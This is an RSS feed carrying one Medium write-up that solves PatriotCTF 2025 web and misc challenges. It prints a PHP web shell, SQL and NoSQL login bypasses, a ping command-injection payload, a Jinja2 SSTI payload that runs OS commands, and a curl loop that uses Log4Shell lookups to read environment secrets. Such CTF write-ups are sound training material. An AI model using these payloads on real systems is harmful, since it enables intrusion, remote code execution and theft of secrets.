<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Syndro on Medium]]></title>
        <description><![CDATA[Stories by Syndro on Medium]]></description>
        <link>https://medium.com/@syndro?source=rss-58aae3ee62d6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*aBlagJSJPDGqh_Q5</url>
            <title>Stories by Syndro on Medium</title>
            <link>https://medium.com/@syndro?source=rss-58aae3ee62d6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 15:40:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@syndro/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PatriotCTF 2025 - Misc/Web Challenges Writeups]]></title>
            <link>https://medium.com/@syndro/partiotctf25-web-misc-writeups-03b584667bc3?source=rss-58aae3ee62d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/03b584667bc3</guid>
            <dc:creator><![CDATA[Syndro]]></dc:creator>
            <pubDate>Sun, 23 Nov 2025 11:54:30 GMT</pubDate>
            <atom:updated>2025-11-24T08:24:35.483Z</atom:updated>
            <content:encoded><![CDATA[<p>PatriotCTF 2025 Writeups: Detailed solutions for all Misc and Web challenges.</p><p>+-------------------------+----------+<br>| Name | Category |<br>+-------------------------+----------+<br>| Reverse Metadata Part 1 | Misc |<br>| Reverse Metadata Part 2 | Misc |<br>| Connnection Tester | Web |<br>| Trust Vault | Web |<br>| Feedback Fallout | Web |<br>| Trust fall | Web |<br>| 🔐 SecureAuth™ | Web |<br>+-------------------------+----------+</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zffLTmZ6zqbQqpaYXhd5Yg.png" /></figure><h3>Misc:</h3><h3>Challenge: Reverse Metadata Part 1</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*JChq8x-30deCW5-500IPTA.png" /><figcaption>Description</figcaption></figure><h4>1. The Upload Page</h4><p>When we open the challenge, we’re greeted with a straightforward file upload form. <br>No file extension restrictions are visible in the page source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*csOYx1iDGxl1RfyxgCbROg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*FL5TuRYaEbSS_tz8RNLV7w.png" /></figure><h4>2. Trying the Classic PHP Web Shell</h4><p>I decided to test whether unrestricted file uploads were actually in effect. <br>Uploaded a PHP-Shell. Below is a simple example of what the important part looks like</p><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form method=&quot;GET&quot; name=&quot;&lt;?php echo basename($_SERVER[&#39;PHP_SELF&#39;]); ?&gt;&quot;&gt;<br>&lt;input type=&quot;TEXT&quot; name=&quot;cmd&quot; autofocus id=&quot;cmd&quot; size=&quot;80&quot;&gt;<br>&lt;input type=&quot;SUBMIT&quot; value=&quot;Execute&quot;&gt;<br>&lt;/form&gt;<br>&lt;pre&gt;<br>&lt;?php<br>    if(isset($_GET[&#39;cmd&#39;]))<br>    {<br>        system($_GET[&#39;cmd&#39;] . &#39; 2&gt;&amp;1&#39;);<br>    }<br>?&gt;<br>&lt;/pre&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><pre>Reference: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985</pre><p>→ The server happily replied: <strong>“File uploaded successfully!”</strong></p><p>It&#39;s uploaded successfully, Hence means it got saved into the database, so we can try to access it through ⬇️⬇️</p><blockquote><a href="http://18.212.136.134:9090/Uploads/shell.php">http://18.212.136.134:9090/Uploads/shell.php</a></blockquote><p>And it worked. Now we have a shell on the server, should be a breeze.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*_WtWqf-JgP5QusDRHjp3iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S7qYVDqVsmzvrQDkbXlL2Q.png" /></figure><h4>3. Now, it is time to get that flag!</h4><p>With a working shell, exploring the filesystem is trivial.</p><pre>ls -la</pre><p>We immediately spot flag2.txt (and sometimes a flag.txt depending on the instance).</p><pre>cat flag2.txt<br><br>→ Flag obtained!</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bo5uFZzz9OnVwXszZUjFFw.png" /></figure><h4>Note: Some players were running rm -rf * every few minutes to troll others, so the flag file would occasionally disappear and respawn. That’s why sometimes ls showed an empty directory — just wait a minute and try again.</h4><h3>Challenge: Reverse Metadata Part 2</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*NrjIHBURYQgnew0IhUnAPg.png" /><figcaption>Description</figcaption></figure><h4>1. Same Game, Harder Hiding Spot</h4><p>This challenge is literally the sequel — same upload vulnerability, same web root, same everything from Part 1.</p><p>So, we just copy-paste the previous shell and repeat.</p><h4>2. Where’s the Flag This Time?</h4><p>A quick `ls` in the current directory shows nothing interesting — no `flag.txt`, no obvious files.</p><p>Time to explore the filesystem properly.</p><pre>ls -la ../          # one level up<br>ls -la ../../       # two levels up<br>ls -la ../../..     # Three levels up</pre><p>We keep climbing and listing directories until something stands out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OJhmEdtdJWGUyNM3ghx9aQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*jECr-1IRZV9D7pX0BqOKpQ.png" /></figure><p>Aha! There’s a /log/ctf-monitor/ directory. That screams “flag is logged somewhere”.</p><p>Full path turns out to be: ../../../log/ctf-monitor/processes.log</p><h4>3. Hunting the Flag in the Logs</h4><p>The file is huge and noisy, so blind “cat” isn’t helpful. I started throwing greedy greps at it:</p><pre>grep -i &quot;flag&quot; ../../../log/ctf-monitor/processes.log<br>grep -i &quot;pctf{&quot; ../../../log/ctf-monitor/processes.log<br>grep -i &quot;MASONCC{&quot; ../../../log/ctf-monitor/processes.log</pre><p>Nothing… until I remembered that sometimes flags are printed among binary garbage or command output.</p><p>So, the final payload is!</p><pre>strings ../../../log/ctf-monitor/processes.log | grep -i &quot;pctf{&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*us41hIR4gWgwMH9_HR3g0w.png" /></figure><h3>Web:-</h3><h3>Challenge: Connection Tester</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*_4S-n_P4cWQYUzT2ihix5w.png" /></figure><h4>1. Classic SQL Injection on Login</h4><p>We’re greeted with a super simple login form. No registration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FEB2EvOfgJSxwvT6mtN-g.png" /></figure><p>Tried the most classic SQL Injection:</p><pre>Username: &#39; OR 1=1 --<br>Password: anything<br><br>**Resulting query (most likely):**<br>```sql<br>SELECT * FROM users WHERE username = &#39;&#39; OR 1=1-- &#39; AND password = &#39;...&#39;</pre><p>Bypassed instantly → logged in as admin.</p><h4>2. Dashboard → Connection Tester (Ping Tool)</h4><p>After logging we land on a dashboard with a “<strong>Test Connection</strong>” feature that lets us ping any host.</p><p>Tested 127.0.0.1 → works perfectly. It is a sign of OS command execution via ping.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CkqnpXwXEtkEdt3zVcCLEg.png" /></figure><h4>3. Command Injection Inside ping Arguments</h4><p>The backend code is kinda similar to something like this ⬇️</p><pre>/bin/sh -c &quot;ping -c 4 &lt;user_input&gt;&quot;</pre><p>That means our input becomes arguments to ping, not a separate shell command. Classic separators like “<strong>; , ||</strong>” don’t work directly.</p><p>What <strong>does</strong> work inside ping arguments? → &amp; and &amp;&amp; (command chaining that survives as ping args)</p><p>And since it&#39;s/bin/sh, Classic commands like</p><pre>ls <br>cat</pre><p>Are simply are not going to work. Instead, we need to use a Shell command, Something like</p><pre>echo &quot;$(command)&quot;</pre><p>$(Command) Calls an environment variable, which is basically, ls/cat</p><pre>127.0.0.1 &amp; echo &quot;$(ls)&quot;</pre><p>And directory listing appears under the ping output, and we spot flag.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ElmYVdhoVonTNvrjKUI9wQ.png" /></figure><p>Let&#39;s read the flag!</p><pre>127.0.0.1 &amp; echo &quot;$(cat flag.txt)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bbzcE9P8_i26MyHzT6cOjA.png" /></figure><h3>Challenge: Trust vault</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*pDlTPsNnEA6z8eZKK1838A.png" /></figure><h4>1. Initial description info</h4><p>The description literally says:</p><ul><li>Backend uses <strong>**Jinja2**</strong></li><li>There is a <strong>**vulnerable SQL query**</strong></li></ul><p>AKA: SQLi → SSTI vulnerability</p><h4>2. Dashboard overview</h4><p>After quick registration + login, we get four tabs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/331/1*TMKHRwrRceQG2GVMb60EQg.png" /></figure><p>Only <strong>Bookmarks </strong>is useful.</p><h4>3. Discovering the endpoint</h4><p>Adding a bookmark with “{{7*7}}` → gets displayed as plain text. No rendering.</p><p>View source on the <strong>Bookmarks </strong>tab → Hint:</p><pre>&lt;!-- &lt;p&gt;Legacy console: &lt;a href=&quot;/search&quot;&gt;/search&lt;/a&gt;&lt;/p&gt; --&gt;</pre><p>Visit <strong>/search</strong> → all bookmarks are rendered as live Jinja2 templates!</p><p>Test: “<strong>{{7*7}}’</strong> → page returns <strong>49</strong> → Jinja2 SSTI confirmed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*cdj0eapGuvDP-4J72Me1fQ.png" /></figure><h4>4. Payload</h4><p>We are going to do a UNION injection so we are able to use another SELECT. Then we add our SSTI payload.</p><pre>&#39; UNION SELECT &quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;ls&#39;).read() }}&quot; --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9m8AbDdctT2Rw33GG8XZHA.png" /></figure><p>I&#39;m kind of lazy, so I’ll just string everything alongside grepping the fla.g</p><p>So, I’ll use this payload</p><pre>&#39; UNION SELECT &quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;strings * | grep -i pctf{&#39;).read() }}&quot; --</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ocfOugc0PX8S37vXCCtKQ.png" /></figure><pre>Payload Reference: &quot;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md&quot;</pre><h3>Challenge: Feedback Fallout</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*UOTxqcLC7nY88O0kS02WYQ.png" /></figure><h4>1. Spotting the Feedback Form</h4><p>The site is just one page with a simple feedback <strong>textarea</strong>.</p><p><strong>Source code</strong>? Empty. <strong>Network </strong>tab? Nothing <strong>useful</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5mJlgesqOPcIzxwh70_QCA.png" /></figure><p>Time to intercept the POST request with Burp/ZAP.</p><h4>2. Log4Shell Smells Everywhere (CVE-2021–44228)</h4><p>In the intercepted request, we see our feedback is being logged verbatim on the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZIGpIqTUwbeQjrYHGd8nw.png" /></figure><p>It is also hinted at the bottom of the page now when u think about it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*Ht-7tbJU0hEyLTcf-KSiMQ.png" /></figure><p>So,<br><strong>Java </strong>+ <strong>unsanitized </strong>user input in logs → instant <strong>suspicion</strong>.</p><p>After some searching around. I came across an old vulnerability</p><pre>(CVE-2021–44228)</pre><p>This is basically an RCE in the feedback section when it gets stored in the logs.</p><p>We can test with a simple payload</p><pre>${java:version}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwwZ8gLoeHTwwiRvhENVrw.png" /></figure><p>And yes, it&#39;s a log vulnerability.</p><p>Perhaps we can try to get a reverse shell in there!</p><pre>Tried classic JNDI reverse shells (`${jndi:ldap://...}`) → nothing.<br><br>So, It means that <br>JNDI was disabled (common mitigation), so no remote class loading( Reverse shell ).</pre><h4>3. Exploit</h4><p>Even though we can&#39;t get a reverse shell, it still leaks info, hence the</p><p><strong>${java: version}</strong></p><p>Tried other payloads JUST to be sure, and they worked, so there is no doubt in that</p><pre>Common syntaxes:<br><br>- ${sys:os.name}<br>- ${sys:user.name}<br>- ${log4j:configParentLocation}<br>- ${ENV:PATH}<br>- ${ENV:HOSTNAME}<br>- ${java:version}<br></pre><pre>${ENV:PATH}<br>&amp; <br>$ENV:HOSTNAME} </pre><p>⬆️Both worked. Could suggest that the FLAG is actually a KEY variable that we use in ENV?</p><p>So, with that in mind, I wrote a simple bash script that checks the common names.</p><pre>for i in<br>ADMIN Admin admin USER User ROOT Root PCTF pctf Pctf pCTF FLAG flag FLAG_CTF SECRET SECRET_FLAG FLAGS FLAGO KEY HOSTNAME PATH;<br>do   echo &quot;Trying \${env:$i}&quot;;<br>curl -s -X POST http://18.212.136.134:8080/feedback<br>     -H &quot;X-Requested-With: XMLHttpRequest&quot;     <br>     -H &quot;Content-Type: application/x-www-form-urlencoded&quot;<br>     -d &quot;feedback=\${env:$i}&quot; | grep -i pctf; done</pre><p>Below is a 1-line bash if u want to copy and paste it.</p><pre>for i in   Admin admin ADMIN user USER User Owner Root root PCTF pctf MASONC masonc Pctf pCTF FLAG FLAG_CTF CTF SECRET FLAG KEY SECRET_FLAG FLAGS FLAGO flag secret secret_flag FLAG_SECRET secret_flag FLAG_SECRET secret_FLAG FLAG_SECRET; do echo &quot;Trying \${env:$i}&quot;; curl -s -X POST http://18.212.136.134:8080/feedback -H &quot;X-Requested-With: XMLHttpRequest&quot; -H &quot;Content-Type:application/x-www-form-urlencoded;charset=UTF-8&quot; -d &quot;feedback=\${env:$i}&quot; | grep -o &quot;User .*&quot;; done</pre><p>And there it is. THE 🚩</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*EGI0SVf9JI3Rhir9jJnTMw.png" /></figure><h3>Challenge: Trust fall</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*UOTxqcLC7nY88O0kS02WYQ.png" /></figure><h4>1. Start</h4><p>This time.</p><p>We are given… nothing.</p><p>Just two input boxes with placeholder text and zero hints.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*Ul6zGAY2pfPqQSCHYC-qAA.png" /></figure><p><strong>SQLi</strong>? Nope. <strong>Source code</strong>? Empty. <strong>Network tab</strong>? Nope.</p><p>So, I just typed the placeholder values and hit login.</p><h4>2. Exploring the products</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKTQVGIjYNYWAJQGbNwwYA.png" /></figure><p>We land on a product catalog.</p><p>Bottom-right corner: a tiny <strong>“Admin Console”</strong> link → 403 Forbidden.</p><p>There’s a signed session cookie. Modifying it is impossible without the secret key…</p><p>So I just <strong>**deleted the cookie entirely**</strong> → suddenly the Admin Console is accessible!</p><p>But it’s just a mock page. Source reveals the truth:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*EYQ-S8w-7ZlsszqlEWp4IA.png" /></figure><p>It is just there for The 💅💅UI💅💅</p><h4>3. Hunting.</h4><p>After we logged in, the Network tab shows two interesting things:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gbWUxkQBXxp60ubljhVVqA.png" /></figure><p>Both `/assets/…` and `/api/…` are accessible directly → perfect for directory/API fuzzing.</p><p>Tried <strong>ffuf</strong> on `/assets/` → nothing.</p><p>Then moved to the API.</p><h4>4. The EndPoint.</h4><p>I Used this API Wordlist</p><pre>Reference: https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d</pre><p>Set up in ZAP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*TVyUFcupPTpcAdQb5vnBow.png" /></figure><p>We target the “products” with our payload API we just mentioned.</p><p>And since every page is a 302 redirect to /login, it can get annoying pretty quickly,<br>So.</p><p>We go to Message Processors.<br>And we do the following</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*6VSFfBHmnu5aglb1sfWBsA.png" /></figure><p>We add a new Message processor with the Type “<strong>Tag Creator</strong>”</p><p>And if the regex “<strong>Found</strong>” is in the loaded page, it tags it as Bad.</p><p>And we start the FUZZ.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2WYgEWVqiqPeDZidRs0fQ.png" /></figure><h4>5. Users API.</h4><p>Requesting `/api/users/1`, `/api/users/2` → normal users with username + role.</p><p>Products on the main page are also fetched by ID → maybe users work the same way?</p><p>Tried `/api/users/0`, which is the most common. → And there it is. The flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Mae3aexumjM6gYwVXGfAw.png" /></figure><p>If I’m honest, this challenge could’ve been solved easily with just guessing the “users” API, but in other cases/challenges, it won&#39;t be as easy as just guessing it.</p><h3>Challenge: 🔐 SecureAuth™</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*HfWbSmdvMnhU8Wc8UxU6jQ.png" /></figure><h4>1. Initial Login Page</h4><p>A single JSON-based login endpoint.</p><p>The second you see `Content-Type: application/json` + a password field.<br>Which is basically a NoSQL Injection shoutout</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*-qLZjpHwxY_oyMVy3rQkuw.png" /></figure><h4>2. First attempt at NOSQL injection</h4><p>Tried the classic NoSQL payload in the browser:</p><pre>With<br>username: admin<br>Password: {&quot;$ne&quot;:null}<br>&quot;$ne&quot;:null IS THE SAME AS &#39; or 1=&#39;1 IN SQL Injection.</pre><p>But it doesn’t work. This probably suggests that my payload is getting treated as a literal string, so it&#39;s something like this in the backend.</p><pre>{<br>Username: &quot;admin&quot;,<br>Password: &quot;{&quot;$ne&quot;:null}&quot;<br>}</pre><p>Where both the admin and the payload are getting treated as strings.</p><h4>2 Manual-Work</h4><p>Since it doesn’t work, let&#39;s directly access the authentication api.</p><p>And we need to modify the HEADERS through Zap/Burp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCJWIhXbVGfbCV5wGmFQIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PMlLbnWEDe283KtTAtUlw.png" /></figure><p>By manually changing:</p><pre>GET --&gt; POST<br><br>ADDING NEW HEADER<br>Content-Type: Application/json<br><br>It works Perfectly</pre><p>Now, what if we manually load the JSON without the quotes on the password so it doesn’t get treated as a string?</p><pre>{&quot;username&quot;: &quot;admin&quot;,&quot;password&quot;: {&quot;$ne&quot;: null},&quot;remember&quot;: &quot;false&quot;}</pre><p>We simply just paste this into the Request body. AND VOILA, it shouldn’t get treated as a string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAWt8gyMP82ozCvc22Q5VQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7VrXJPNOrcAoIA0SBddfA.png" /></figure><p>Alternative One liner if u don’t want burp/zap</p><pre>curl -X POST http://18.212.136.134:5200/api/authenticate -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;username&quot;:&quot;admin&quot;,&quot;password&quot;:{&quot;$ne&quot;:null},&quot;remember&quot;:&quot;false&quot;}&#39;</pre><p>Thank you for Reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03b584667bc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>